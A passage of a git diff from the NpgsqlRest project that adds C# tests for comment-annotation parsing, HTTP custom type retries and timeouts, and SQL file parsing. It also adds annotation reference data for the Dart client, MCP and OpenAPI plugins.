cmt.unhandled_mixed() is ' HTTP GET @@ -24,6 +24,21 @@ This is a human description. comment on function cmt.unhandled_none() is ' HTTP GET authorize'; + +-- custom parameters: one an upload handler reads, one written as an annotation that nothing reads, +-- one without the @ that nothing reads (left alone: a line of that shape may be anything) +create function cmt.unknown_keys() returns text language sql as 'select ''keys'''; +comment on function cmt.unknown_keys() is ' +HTTP GET +@row_command = select 1 +@tsclinet_modul = users +plain_key = some value'; + +-- a warning about the comment is kept with the endpoint +create function cmt.with_diagnostic() returns text language sql as 'select ''diagnostic'''; +comment on function cmt.with_diagnostic() is ' +HTTP GET +@row_command = select {not_substituted}'; "); } } @@ -32,10 +47,82 @@ HTTP GET public class UnhandledCommentLinesTests(UnhandledCommentLinesTestFixture test) { [Fact] - public void Unhandled_lines_capture_prose_and_unknown_annotations_in_order() + public void Unhandled_lines_are_the_prose_and_unknown_annotations_are_kept_apart() { var e = test.Endpoints["unhandled_mixed"]; - e.UnhandledCommentLines.Should().Equal("This is a human description.", "@custom_plugin_flag"); + // prose: what OpenAPI and MCP publish as the description + e.UnhandledCommentLines.Should().Equal("This is a human description."); + // written as an annotation, read by nothing: never part of the description + e.UnknownAnnotationLines.Should().Equal("@custom_plugin_flag"); + e.AnnotationLines.Should().Equal("HTTP GET", "authorize"); + } + + [Fact] + public void Custom_parameter_written_as_an_annotation_that_nothing_reads_is_reported() + { + var e = test.Endpoints["unknown_keys"]; + // all three are stored, as before + e.CustomParameters.Should().Equal(new Dictionary + { + ["row_command"] = "select 1", + ["tsclinet_modul"] = "users", + ["plain_key"] = "some value", + }); + // only the one written with @ and read by nothing is called unknown + e.UnknownAnnotationLines.Should().Equal("@tsclinet_modul = users"); + e.Diagnostics.Should().ContainSingle() + .Which.Should().EndWith("\"@tsclinet_modul = users\" - nothing reads a custom parameter named tsclinet_modul. Check the spelling (npgsqlrest --annotations lists what is read)."); + e.UnhandledCommentLines.Should().BeNull(); + } + + [Fact] + public void Warnings_about_a_comment_are_kept_with_the_endpoint() + { + var e = test.Endpoints["with_diagnostic"]; + e.Diagnostics.Should().HaveCount(2); + e.Diagnostics![0].Should().Contain("custom parameter @row_command is SQL"); + e.Diagnostics[1].Should().Contain("uses a parameter placeholder 'not_substituted'"); + test.Endpoints["unhandled_none"].Diagnostics.Should().BeNull(); + } + + [Fact] + public void Reference_knows_core_keys_patterns_and_prefixed_upload_keys() + { + CommentAnnotations.IsKnown("authorize").Should().BeTrue(); + CommentAnnotations.IsKnown("@Authorize").Should().BeTrue(); + CommentAnnotations.IsKnown("command_timeout").Should().BeTrue(); + CommentAnnotations.IsKnown("result").Should().BeTrue(); + CommentAnnotations.IsKnown("sse_publish").Should().BeTrue(); + CommentAnnotations.IsKnown("csv_delimiters").Should().BeTrue(); + CommentAnnotations.IsKnown("row_command").Should().BeTrue(); + // a key = value line: only what is read in that form + CommentAnnotations.IsKnownCustomParameter("@timeout").Should().BeTrue(); + CommentAnnotations.IsKnownCustomParameter("csv_row_command").Should().BeTrue(); + CommentAnnotations.IsKnownCustomParameter("authorize").Should().BeFalse(); + CommentAnnotations.IsKnown("no_such_annotation").Should().BeFalse(); + // read in a type's comment, not an endpoint's + CommentAnnotations.IsKnown("retry_delay").Should().BeFalse(); + } + + [Fact] + public void Every_reference_entry_is_complete() + { + var all = CommentAnnotations.All; + all.Should().NotBeEmpty(); + foreach (var a in all) + { + a.Name.Should().NotBeNullOrWhiteSpace(); + a.Syntax.Should().NotBeNullOrWhiteSpace(a.Name); + a.Description.Should().NotBeNullOrWhiteSpace(a.Name); + a.Owner.Should().NotBeNullOrWhiteSpace(a.Name); + a.Contexts.Should().NotBe(AnnotationContext.None, a.Name); + a.Example.Should().NotBeNullOrWhiteSpace(a.Name); + if (a.ValueKind == AnnotationValueKind.Enum) + { + a.Values.Should().NotBeNullOrEmpty(a.Name); + } + } + all.Select(a => a.Owner + "/" + a.Name).Should().OnlyHaveUniqueItems(); } [Fact] diff --git a/NpgsqlRestTests/HttpClientTypeTests/HttpClientTypeFixesTests.cs b/NpgsqlRestTests/HttpClientTypeTests/HttpClientTypeFixesTests.cs new file mode 100644 index 00000000..771c24ab --- /dev/null +++ b/NpgsqlRestTests/HttpClientTypeTests/HttpClientTypeFixesTests.cs @@ -0,0 +1,122 @@ +using WireMock; +using WireMock.Server; +using WireMock.RequestBuilders; +using WireMock.ResponseBuilders; +using WireMock.Types; +using WireMock.Util; + +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void HttpClientTypeFixesTests() + { + script.Append($@" + -- a timed-out attempt followed by a successful retry + create type http_fix_stale as (body text, status_code int, success boolean, error_message text); + comment on type http_fix_stale is 'timeout 500ms +@retry_delay 50ms +GET http://localhost:{WireMockFixture.Port}/api/fix-stale'; + + create function get_http_fix_stale(_req http_fix_stale) returns json language sql as $$ + select json_build_object('body', (_req).body, 'status_code', (_req).status_code, 'success', (_req).success, 'error_message', (_req).error_message) + $$; +"); + script.Append(@" + -- a call to an endpoint of this application, with a placeholder in a header value + create function fix_echo_headers() returns text language sql as 'select current_setting(''request.headers'', true)'; + comment on function fix_echo_headers() is 'HTTP GET +request_headers context'; + + create type http_fix_self_header as (body text, status_code int); + comment on type http_fix_self_header is 'GET /api/fix-echo-headers +X-Fix-Value: value-{_v}'; + + create function get_http_fix_self_header(_v text, _req http_fix_self_header) returns text language sql as $$ + select (_req).body + $$; + + -- a call to an endpoint of this application that takes longer than the type's timeout + create function fix_slow_endpoint() returns text language sql as 'select pg_sleep(3)::text'; + comment on function fix_slow_endpoint() is 'HTTP GET'; + + create type http_fix_self_timeout as (body text, status_code int, success boolean, error_message text); + comment on type http_fix_self_timeout is 'timeout 300ms +GET /api/fix-slow-endpoint'; + + create function get_http_fix_self_timeout(_req http_fix_self_timeout) returns json language sql as $$ + select json_build_object('status_code', (_req).status_code, 'success', (_req).success, 'error_message', (_req).error_message) + $$; +"); + } +} + +/// Fixes in HTTP Custom Types (3.22.0). +[Collection("TestFixture")] +public class HttpClientTypeFixesTests : IClassFixture +{ + private readonly TestFixture _test; + private readonly WireMockServer _server; + + public HttpClientTypeFixesTests(TestFixture test, WireMockFixture wireMock) + { + _test = test; + _server = wireMock.Server; + _server.Reset(); + } + + [Fact] + public async Task Successful_retry_does_not_keep_the_error_message_of_the_failed_attempt() + { + // first attempt: slower than the 500 ms timeout; second: answers at once + int attempts = 0; + _server + .Given(Request.Create().WithPath("/api/fix-stale").UsingGet()) + .RespondWith(Response.Create().WithCallback(req => + { + if (Interlocked.Increment(ref attempts) == 1) + { + Thread.Sleep(2000); + } + return new ResponseMessage + { + StatusCode = 200, + BodyData = new BodyData { BodyAsString = "ok", DetectedBodyType = BodyType.String } + }; + })); + + using var response = await _test.Client.GetAsync("/api/get-http-fix-stale/"); + var content = await response.Content.ReadAsStringAsync(); + + response.StatusCode.Should().Be(HttpStatusCode.OK); + // error_message used to stay "Request timed out after 0.5 seconds" on this successful response + content.Should().Be("{\"body\" : \"ok\", \"status_code\" : 200, \"success\" : true, \"error_message\" : null}"); + attempts.Should().Be(2); + } + + [Fact] + public async Task Call_to_an_own_endpoint_resolves_placeholders_in_header_values() + { + using var response = await _test.Client.GetAsync("/api/get-http-fix-self-header/?v=hello"); + var content = await response.Content.ReadAsStringAsync(); + + response.StatusCode.Should().Be(HttpStatusCode.OK); + // the header used to arrive as written: "value-{_v}" + content.Should().Contain("\"X-Fix-Value\":\"value-hello\""); + content.Should().NotContain("{_v}"); + } + + [Fact] + public async Task Call_to_an_own_endpoint_honors_the_timeout() + { + var sw = System.Diagnostics.Stopwatch.StartNew(); + using var response = await _test.Client.GetAsync("/api/get-http-fix-self-timeout/"); + sw.Stop(); + var content = await response.Content.ReadAsStringAsync(); + + response.StatusCode.Should().Be(HttpStatusCode.OK); + // the endpoint sleeps 3 seconds; the type allows 300 ms. Without the timeout this took 3 seconds and said 200. + content.Should().Be("{\"status_code\" : 408, \"success\" : false, \"error_message\" : \"Request timed out after 0.3 seconds\"}"); + sw.Elapsed.TotalSeconds.Should().BeLessThan(2.5); + } +} diff --git a/NpgsqlRestTests/HttpClientTypeTests/ParseHttpTypeDefinitionTests.cs b/NpgsqlRestTests/HttpClientTypeTests/ParseHttpTypeDefinitionTests.cs index 5cb76b3d..6d94b644 100644 --- a/NpgsqlRestTests/HttpClientTypeTests/ParseHttpTypeDefinitionTests.cs +++ b/NpgsqlRestTests/HttpClientTypeTests/ParseHttpTypeDefinitionTests.cs @@ -1160,4 +1160,48 @@ public void Cache_control_header_is_not_treated_as_cache_directive() result!.CacheEnabled.Should().BeFalse(); result.Headers.Should().ContainKey("Cache-Control"); } + + // A header whose name merely begins with "timeout" or "retry_delay" is a header. Both used to be taken for + // the directive: the value failed to parse (30 seconds), and the header was lost. + [Theory] + [InlineData("Timeout-Ms: 100", "Timeout-Ms", "100")] + [InlineData("Timeouts: none", "Timeouts", "none")] + [InlineData("Retry_Delay_Hint: 5", "Retry_Delay_Hint", "5")] + [InlineData("retry_delays: 1s", "retry_delays", "1s")] + public void Header_that_begins_with_a_directive_keyword_is_a_header(string headerLine, string name, string value) + { + var result = _parser.ParseHttpTypeDefinition("GET https://api.example.com/data\n" + headerLine); + + result.Should().NotBeNull(); + result!.Timeout.Should().BeNull(); + result.RetryDelays.Should().BeNull(); + result.Headers.Should().ContainKey(name).WhoseValue.Should().Be(value); + } + + [Theory] + [InlineData("timeout 5", 5)] + [InlineData("timeout: 5", 5)] + [InlineData("timeout=5", 5)] + [InlineData("@timeout\t5s", 5)] + [InlineData("# @TIMEOUT = 00:00:05", 5)] + public void Timeout_directive_is_still_read_in_every_form(string directive, int seconds) + { + var result = _parser.ParseHttpTypeDefinition("GET https://api.example.com/data\n" + directive); + + result.Should().NotBeNull(); + result!.Timeout.Should().Be(TimeSpan.FromSeconds(seconds)); + result.Headers.Should().BeNullOrEmpty(); + } + + [Theory] + [InlineData("retry_delay 1s, 2s")] + [InlineData("retry_delay: 1s, 2s")] + [InlineData("@retry_delay=1s, 2s")] + public void Retry_delay_directive_is_still_read_in_every_form(string directive) + { + var result = _parser.ParseHttpTypeDefinition(directive + "\nGET https://api.example.com/data"); + + result.Should().NotBeNull(); + result!.RetryDelays.Should().Equal(TimeSpan.FromSeconds(1), TimeSpan.FromSeconds(2)); + } } diff --git a/NpgsqlRestTests/Setup/UnhandledCommentLinesTestFixture.cs b/NpgsqlRestTests/Setup/UnhandledCommentLinesTestFixture.cs index 608fa7d2..a0e1326c 100644 --- a/NpgsqlRestTests/Setup/UnhandledCommentLinesTestFixture.cs +++ b/NpgsqlRestTests/Setup/UnhandledCommentLinesTestFixture.cs @@ -37,6 +37,13 @@ public UnhandledCommentLinesTestFixture() { IncludeSchemas = ["cmt"], CommentsMode = CommentsMode.ParseAll, + EndpointCreateHandlers = [new CmtPluginHandler()], + // upload handlers under names with capitals: an annotation's words are lower case + UploadOptions = new() + { + Enabled = true, + DefaultUploadHandlerOptions = new() { CsvUploadKey = "Csv", LargeObjectKey = "LO" } + }, EndpointsCreated = endpoints => { foreach (var endpoint in endpoints) @@ -62,3 +69,23 @@ public void Dispose() _app.DisposeAsync().GetAwaiter().GetResult(); } } + +/// A plugin that claims the comment line "cmtplugin" and remembers that it did. +public class CmtPluginHandler : IEndpointCreateHandler +{ + public CommentLineResult? HandleCommentLine(RoutineEndpoint endpoint, string line, string[] words, string[] wordsLower) + { + if (wordsLower.Length == 0 || wordsLower[0].TrimStart('@') != "cmtplugin") + { + return null; + } + endpoint.Items["cmtplugin"] = true; + return new CommentLineResult("cmtplugin"); + } + + public CommentAnnotation[] Annotations => + [ + new() { Name = "cmtplugin", Aliases = ["cmtplugin"], Syntax = "cmtplugin", Description = "Test plugin annotation.", Owner = "cmtplugin", ValueKind = AnnotationValueKind.None, Example = "cmtplugin" }, + new() { Name = "cmt_key", Aliases = ["cmt_key"], Syntax = "cmt_key = ", Description = "Test plugin key.", Owner = "cmtplugin", Form = AnnotationForm.KeyValue, Example = "cmt_key = x" }, + ]; +} diff --git a/NpgsqlRestTests/SqlFileSourceTests/DescribeTests/ParamTypeHintTests.cs b/NpgsqlRestTests/SqlFileSourceTests/DescribeTests/ParamTypeHintTests.cs index 3c38bdc8..945a0e3c 100644 --- a/NpgsqlRestTests/SqlFileSourceTests/DescribeTests/ParamTypeHintTests.cs +++ b/NpgsqlRestTests/SqlFileSourceTests/DescribeTests/ParamTypeHintTests.cs @@ -145,4 +145,24 @@ public void TypeDescriptor_Json_IsJson() var td = new NpgsqlRest.TypeDescriptor("json"); td.IsJson.Should().BeTrue(); } + + [Theory] + [InlineData("@param $1 type is integer", "integer")] + [InlineData("param $1 TYPE IS uuid;", "uuid")] + [InlineData("@param $1 type is integer default 5", "integer")] + public void Positional_retype_without_rename_gives_a_hint(string comment, string type) + { + var hints = SqlFileParser.ExtractParamTypeHints(comment); + hints.Should().NotBeNull(); + hints![0].Should().Be(type); + } + + [Theory] + [InlineData("@param $1 type is")] + [InlineData("@param $1 type is not_a_type")] + [InlineData("@param $0 type is integer")] + public void Positional_retype_without_a_usable_type_gives_no_hint(string comment) + { + SqlFileParser.ExtractParamTypeHints(comment).Should().BeNull(); + } } diff --git a/NpgsqlRestTests/SqlFileSourceTests/IntegrationTests/SqlFileCommentProseTests.cs b/NpgsqlRestTests/SqlFileSourceTests/IntegrationTests/SqlFileCommentProseTests.cs new file mode 100644 index 00000000..0e41aceb --- /dev/null +++ b/NpgsqlRestTests/SqlFileSourceTests/IntegrationTests/SqlFileCommentProseTests.cs @@ -0,0 +1,160 @@ +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.Extensions.Logging; +using NpgsqlRest; +using NpgsqlRest.SqlFileSource; + +namespace NpgsqlRestTests.SqlFileSourceTests; + +/// +/// Comments in SQL files: a sentence that begins with "Returns" or "result" is prose, not an annotation; the +/// source's own annotation lines are never published as the description; and "@http" is an HTTP tag. +/// ErrorMode is Exit on purpose: a comment taken for a broken @returns would end the test process. +/// +public class SqlFileCommentProseTests : IDisposable +{ + private readonly WebApplication _app; + private readonly HttpClient _client; + private readonly string _sqlDir; + private readonly Dictionary _endpoints = new(StringComparer.Ordinal); + + public SqlFileCommentProseTests() + { + var connectionString = Database.Create(); + + _sqlDir = Path.Combine(Path.GetTempPath(), "npgsqlrest_prose_test_" + Guid.NewGuid().ToString("N")[..8]); + Directory.CreateDirectory(_sqlDir); + + // a sentence, several words: never an annotation + File.WriteAllText(Path.Combine(_sqlDir, "prose_sentence.sql"), """ + -- HTTP GET + -- Returns all active users + select 1 as value; + """); + + // one word after "Returns": has the shape of the annotation, but is no type. Taken as a comment. + File.WriteAllText(Path.Combine(_sqlDir, "prose_one_word.sql"), """ + -- HTTP GET + -- Returns everything + select 2 as value; + """); + + // the annotation, without the prefix, with a real type + File.WriteAllText(Path.Combine(_sqlDir, "returns_scalar.sql"), """ + -- HTTP GET + -- returns integer + select 3; + """); + + // the tag written with the optional @, and a single statement without a semicolon + File.WriteAllText(Path.Combine(_sqlDir, "at_http.sql"), """ + -- @http GET + -- @single + select 4 as value, 'four' as name + """); + + // the source's own lines next to prose + File.WriteAllText(Path.Combine(_sqlDir, "multi_named.sql"), """ + -- HTTP GET + -- The users and their count. + -- result of the two queries below + -- @define_param tenant integer + select 5 as value; + -- @result total + select 6 as value; + -- @skip + select 7 as value; + """); + + var builder = WebApplication.CreateBuilder(); + builder.WebHost.UseUrls("http://127.0.0.1:0"); + builder.Logging.ClearProviders(); + _app = builder.Build(); + + _app.UseNpgsqlRest(new NpgsqlRestOptions(connectionString) + { + CommentsMode = CommentsMode.OnlyWithHttpTag, + EndpointSources = + [ + new SqlFileSource(new SqlFileSourceOptions + { + FilePattern = _sqlDir.Replace('\\', '/') + "/**/*.sql", + CommentsMode = CommentsMode.OnlyWithHttpTag, + CommentScope = CommentScope.All, + ErrorMode = ParseErrorMode.Exit, + }) + ], + EndpointsCreated = endpoints => + { + foreach (var endpoint in endpoints) + { + _endpoints[endpoint.Routine.Name] = endpoint; + } + } + }); + + _app.StartAsync().GetAwaiter().GetResult(); + _client = new HttpClient { BaseAddress = new Uri(_app.Urls.First()) }; + } + + private async Task GetAsync(string path) + { + using var response = await _client.GetAsync(path); + var content = await response.Content.ReadAsStringAsync(); + response.StatusCode.Should().Be(HttpStatusCode.OK, content); + return content; + } + + [Fact] + public async Task Sentence_starting_with_Returns_is_prose() + { + (await GetAsync("/api/prose-sentence")).Should().Be("[1]"); + var e = _endpoints["prose_sentence"]; + e.UnhandledCommentLines.Should().Equal("Returns all active users"); + e.AnnotationLines.Should().Equal("HTTP GET"); + e.Routine.SourceFile.Should().EndWith("prose_sentence.sql"); + } + + [Fact] + public async Task One_word_after_Returns_that_is_no_type_is_taken_as_a_comment() + { + // used to be "@returns type 'everything' is not a recognized PostgreSQL type" - and, with ErrorMode Exit, the end + (await GetAsync("/api/prose-one-word")).Should().Be("[2]"); + _endpoints["prose_one_word"].UnhandledCommentLines.Should().Equal("Returns everything"); + } + + [Fact] + public async Task Returns_with_a_real_type_is_the_annotation_also_without_the_prefix() + { + (await GetAsync("/api/returns-scalar")).Should().Be("[3]"); + var e = _endpoints["returns_scalar"]; + e.UnhandledCommentLines.Should().BeNull(); + e.AnnotationLines.Should().Equal("HTTP GET", "returns integer"); + } + + [Fact] + public async Task At_http_is_an_http_tag_and_a_header_without_a_semicolon_is_read() + { + (await GetAsync("/api/at-http")).Should().Be("{\"value\":4,\"name\":\"four\"}"); + } + + [Fact] + public async Task The_sources_own_annotation_lines_are_not_the_description() + { + (await GetAsync("/api/multi-named")).Should().Be("{\"result1\":[5],\"total\":[6]}"); + var e = _endpoints["multi_named"]; + // prose only: what OpenAPI and MCP publish + e.UnhandledCommentLines.Should().Equal("The users and their count.", "result of the two queries below"); + e.UnknownAnnotationLines.Should().BeNull(); + e.AnnotationLines.Should().BeEquivalentTo(["HTTP GET", "@define_param tenant integer", "@result total", "@skip"]); + } + + public void Dispose() + { + _client.Dispose(); + _app.StopAsync().GetAwaiter().GetResult(); + _app.DisposeAsync().GetAwaiter().GetResult(); + try { if (Directory.Exists(_sqlDir)) Directory.Delete(_sqlDir, true); } catch { } + GC.SuppressFinalize(this); + } +} diff --git a/NpgsqlRestTests/SqlFileSourceTests/ParserTests/PositionalAnnotationShapeTests.cs b/NpgsqlRestTests/SqlFileSourceTests/ParserTests/PositionalAnnotationShapeTests.cs new file mode 100644 index 00000000..4ac36c62 --- /dev/null +++ b/NpgsqlRestTests/SqlFileSourceTests/ParserTests/PositionalAnnotationShapeTests.cs @@ -0,0 +1,137 @@ +using NpgsqlRest.SqlFileSource; + +namespace NpgsqlRestTests.SqlFileSourceTests; + +/// +/// The SQL file source reads four annotations of its own from comments: returns, result, skip and define_param. +/// A comment may also simply be a sentence that begins with one of those words. A line is an annotation when its +/// first WORD is the keyword, and - without the @ prefix - only when the rest has the shape of one. +/// +public class PositionalAnnotationShapeTests +{ + private static SqlFileParseResult Parse(string header, string statements = "select 1;") => + SqlFileParser.Parse(header + "\n" + statements); + + [Theory] + [InlineData("-- Returns all active users")] + [InlineData("-- returns the rows that match")] + [InlineData("-- Returns: a list of users")] + [InlineData("/* Returns one row per customer */")] + [InlineData("-- returns")] + [InlineData("-- returns_all users")] + [InlineData("-- returnsusers")] + public void A_sentence_starting_with_returns_is_not_the_annotation(string header) + { + var result = Parse(header); + result.ReturnsTypeOverrides.Should().BeEmpty(); + result.ImplicitReturns.Should().BeEmpty(); + result.ConsumedCommentLines.Should().BeEmpty(); + result.Statements.Should().Equal("select 1"); + } + + [Theory] + [InlineData("-- returns users", "users")] + [InlineData("-- RETURNS my_schema.user_row", "my_schema.user_row")] + [InlineData("-- returns int[]", "int[]")] + [InlineData("-- returns numeric(10, 2)", "numeric(10, 2)")] + [InlineData("-- returns double precision", "double precision")] + [InlineData("-- returns timestamp with time zone", "timestamp with time zone")] + [InlineData("-- returns character varying(20)", "character varying(20)")] + [InlineData("-- returns \"My Type\"", "\"My Type\"")] + [InlineData("-- returns void;", "void")] + public void Without_the_prefix_a_type_shaped_value_is_the_annotation_and_marked_implicit(string header, string type) + { + var result = Parse(header); + result.ReturnsTypeOverrides.Should().Equal(new Dictionary { [0] = type }); + result.ImplicitReturns.Should().Equal(0); + result.ConsumedCommentLines.Should().ContainSingle(); + } + + [Theory] + [InlineData("-- @returns users", "users")] + [InlineData("-- @returns my composite type", "my composite type")] + [InlineData("-- @RETURNS void", "void")] + public void With_the_prefix_the_line_is_always_the_annotation_and_explicit(string header, string type) + { + var result = Parse(header); + result.ReturnsTypeOverrides.Should().Equal(new Dictionary { [0] = type }); + result.ImplicitReturns.Should().BeEmpty(); + } + + [Theory] + [InlineData("-- result of the join")] + [InlineData("-- result is not what you expect")] + [InlineData("-- resulting rows")] + [InlineData("-- results users")] + [InlineData("-- result")] + [InlineData("-- result user-list")] + public void A_sentence_starting_with_result_is_not_the_annotation(string comment) + { + var result = SqlFileParser.Parse("select 1;\n" + comment + "\nselect 2;"); + result.PositionalResultNames.Should().BeEmpty(); + result.ConsumedCommentLines.Should().BeEmpty(); + } + + [Theory] + [InlineData("-- result users", "users")] + [InlineData("-- result is users", "users")] + [InlineData("-- RESULT IS user_list", "user_list")] + [InlineData("-- @result users", "users")] + [InlineData("-- @result is users", "users")] + // with the prefix the line is meant as the annotation: the first word is the name, as before + [InlineData("-- @result of the join", "of")] + public void Result_names_the_next_statement(string comment, string name) + { + var result = SqlFileParser.Parse("select 1;\n" + comment + "\nselect 2;"); + result.PositionalResultNames.Should().Equal(new Dictionary { [1] = name }); + result.ConsumedCommentLines.Should().ContainSingle(); + } + + [Theory] + [InlineData("-- define_params tenant")] + [InlineData("-- define_parameter tenant")] + [InlineData("-- define_param")] + [InlineData("-- @define_param")] + public void A_line_that_is_not_define_param_defines_nothing(string header) + { + Parse(header).VirtualParams.Should().BeEmpty(); + } + + [Theory] + [InlineData("-- define_param tenant", "tenant", null)] + [InlineData("-- @define_param tenant integer", "tenant", "integer")] + [InlineData("-- @DEFINE_PARAM tenant uuid ignored", "tenant", "uuid")] + public void Define_param_defines_a_virtual_parameter(string header, string name, string? type) + { + var result = Parse(header); + result.VirtualParams.Should().Equal((name, type)); + result.ConsumedCommentLines.Should().ContainSingle(); + } + + [Fact] + public void Header_of_a_single_statement_without_a_semicolon_is_read() + { + // The header was only scanned when the statement ended with a semicolon. + var result = SqlFileParser.Parse("-- HTTP GET\n-- @returns void\n-- @single\nselect 1"); + result.Statements.Should().Equal("select 1"); + result.ReturnsTypeOverrides.Should().Equal(new Dictionary { [0] = "void" }); + result.SingleCommands.Should().Equal(0); + } + + [Fact] + public void Skip_and_single_are_whole_words() + { + var result = SqlFileParser.Parse("select 1;\n-- skip this for now\n-- singles only\nselect 2;\n-- @skip\nselect 3;\n-- single\nselect 4;"); + result.SkipCommands.Should().Equal(2); + result.SingleCommands.Should().Equal(3); + // skip is the source's own line; single is also core's (the endpoint as a whole), so it is left for core + result.ConsumedCommentLines.Should().Equal("@skip"); + } + + [Fact] + public void Inline_annotation_after_the_semicolon_applies_to_that_statement() + { + var result = SqlFileParser.Parse("select 1; -- @result first\nselect 2; -- result is second\nselect 3; -- result of nothing"); + result.PositionalResultNames.Should().Equal(new Dictionary { [0] = "first", [1] = "second" }); + } +} diff --git a/plugins/NpgsqlRest.DartClient/DartClient.cs b/plugins/NpgsqlRest.DartClient/DartClient.cs index 271a7e5e..b6e1e75f 100644 --- a/plugins/NpgsqlRest.DartClient/DartClient.cs +++ b/plugins/NpgsqlRest.DartClient/DartClient.cs @@ -7,6 +7,9 @@ namespace NpgsqlRest.DartClient; public partial class DartClient(DartClientOptions options) : IEndpointCreateHandler { + /// What this plugin reads from comments (the annotation reference). + public CommentAnnotation[] Annotations => DartClientAnnotations.All; + private IApplicationBuilder _builder = default!; private NpgsqlRestOptions? _npgsqlRestoptions; @@ -42,7 +45,9 @@ public void Cleanup(RoutineEndpoint[] endpoints) _filesCreated = 0; var containsModuleParam = endpoints.Any(e => GetModule(e) is not null); - if (!options.BySchema && containsModuleParam) + // One file, unless files are split: by schema (BySchema), or by module when endpoints name one and the + // path has a {0} to put the module in (see TsClient for what this condition used to be). + if (!options.BySchema && (!containsModuleParam || !options.FilePath.Contains("{0}"))) { Run(endpoints, options.FilePath); } diff --git a/plugins/NpgsqlRest.DartClient/DartClientAnnotations.cs b/plugins/NpgsqlRest.DartClient/DartClientAnnotations.cs new file mode 100644 index 00000000..2a975d1f --- /dev/null +++ b/plugins/NpgsqlRest.DartClient/DartClientAnnotations.cs @@ -0,0 +1,100 @@ +namespace NpgsqlRest.DartClient; + +/// The custom parameters (key = value) the Dart client generator reads, as annotation reference data. +public static class DartClientAnnotations +{ + public static CommentAnnotation[] All => + [ + new() + { + Name = "dartclient", + Aliases = ["dartclient"], + Syntax = "dartclient = ", + Description = "Set to false to leave this endpoint out of the generated Dart client. Accepted values: true, on, enabled, 1 and false, off, disabled, 0.", + Owner = "dartclient", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Boolean, + Default = "true", + Example = "dartclient = false" + }, + new() + { + Name = "dartclient_module", + Aliases = ["dartclient_module"], + Syntax = "dartclient_module = ", + Description = "The module (file) this endpoint's Dart code is generated into; endpoints with the same module share a file. Without it, dartclient falls back to tsclient_module.", + Owner = "dartclient", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Name, + Example = "dartclient_module = users" + }, + new() + { + Name = "dartclient_events", + Aliases = ["dartclient_events"], + Syntax = "dartclient_events = ", + Description = "Set to false to leave the Server-Sent Events parameters out of this endpoint's generated function.", + Owner = "dartclient", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Boolean, + Default = "true", + Example = "dartclient_events = false" + }, + new() + { + Name = "dartclient_parse_url", + Aliases = ["dartclient_parse_url"], + Syntax = "dartclient_parse_url = ", + Description = "Add (or remove) the parseUrl parameter, a callback that may change the request URL. Default: the IncludeParseUrlParam option.", + Owner = "dartclient", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Boolean, + Example = "dartclient_parse_url = true" + }, + new() + { + Name = "dartclient_parse_request", + Aliases = ["dartclient_parse_request"], + Syntax = "dartclient_parse_request = ", + Description = "Add (or remove) the parseRequest parameter, a callback that may change the request before it is sent. Default: the IncludeParseRequestParam option.", + Owner = "dartclient", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Boolean, + Example = "dartclient_parse_request = true" + }, + new() + { + Name = "dartclient_status_code", + Aliases = ["dartclient_status_code"], + Syntax = "dartclient_status_code = ", + Description = "Return the HTTP status code together with the response. Default: the IncludeStatusCode option.", + Owner = "dartclient", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Boolean, + Example = "dartclient_status_code = true" + }, + new() + { + Name = "dartclient_export_url", + Aliases = ["dartclient_export_url"], + Syntax = "dartclient_export_url = ", + Description = "Also export a function that builds this endpoint's URL. Default: the ExportUrls option.", + Owner = "dartclient", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Boolean, + Example = "dartclient_export_url = true" + }, + new() + { + Name = "dartclient_url_only", + Aliases = ["dartclient_url_only"], + Syntax = "dartclient_url_only = ", + Description = "Generate only the URL function and the request type for this endpoint, no fetch function.", + Owner = "dartclient", + Form = AnnotationForm.KeyValue, + ValueKind = AnnotationValueKind.Boolean, + Default = "false", + Example = "dartclient_url_only = true" + }, + ]; +} diff --git a/plugins/NpgsqlRest.Mcp/Mcp.cs b/plugins/NpgsqlRest.Mcp/Mcp.cs index 06b49f81..8371ae17 100644 --- a/plugins/NpgsqlRest.Mcp/Mcp.cs +++ b/plugins/NpgsqlRest.Mcp/Mcp.cs @@ -32,6 +32,9 @@ namespace NpgsqlRest.Mcp; ///
public partial class Mcp(McpOptions options) : IEndpointCreateHandler { + /// What this plugin reads from comments (the annotation reference). + public CommentAnnotation[] Annotations => McpAnnotations.All; + /// Key under which is stored in . public const string ItemsKey = "mcp"; diff --git a/plugins/NpgsqlRest.Mcp/McpAnnotations.cs b/plugins/NpgsqlRest.Mcp/McpAnnotations.cs new file mode 100644 index 00000000..f8b4796a --- /dev/null +++ b/plugins/NpgsqlRest.Mcp/McpAnnotations.cs @@ -0,0 +1,37 @@ +namespace NpgsqlRest.Mcp; + +/// The comment annotations the MCP plugin reads, as annotation reference data. +public static class McpAnnotations +{ + public static CommentAnnotation[] All => + [ + new() + { + Name = "mcp", + Aliases = ["mcp"], + Syntax = "mcp [description]", + Description = "Expose the routine as an MCP tool (Model Context Protocol). Text after the keyword is the tool's description. Without an HTTP tag the routine becomes an MCP-only tool with no public HTTP route. Description precedence: mcp_description, then this text, then the comment's prose.", + Owner = "mcp", + Example = "mcp Returns the orders of one customer" + }, + new() + { + Name = "mcp_name", + Aliases = ["mcp_name"], + Syntax = "mcp_name ", + Description = "Expose the routine as an MCP tool under this name (one word). Default: the routine's name.", + Owner = "mcp", + ValueKind = AnnotationValueKind.Name, + Example = "mcp_name customer_orders" + }, + new() + { + Name = "mcp_description", + Aliases = ["mcp_description", "mcp_desc"], + Syntax = "mcp_description ", + Description = "Expose the routine as an MCP tool with this description, which wins over the text after mcp and over the comment's prose.", + Owner = "mcp", + Example = "mcp_description Returns the orders of one customer, newest first" + }, + ]; +} diff --git a/plugins/NpgsqlRest.OpenApi/OpenApi.cs b/plugins/NpgsqlRest.OpenApi/OpenApi.cs index dca52ff7..2bbbbdce 100644 --- a/plugins/NpgsqlRest.OpenApi/OpenApi.cs +++ b/plugins/NpgsqlRest.OpenApi/OpenApi.cs @@ -23,6 +23,9 @@ public static class OpenApiSpecVersions public class OpenApi(OpenApiOptions openApiOptions) : 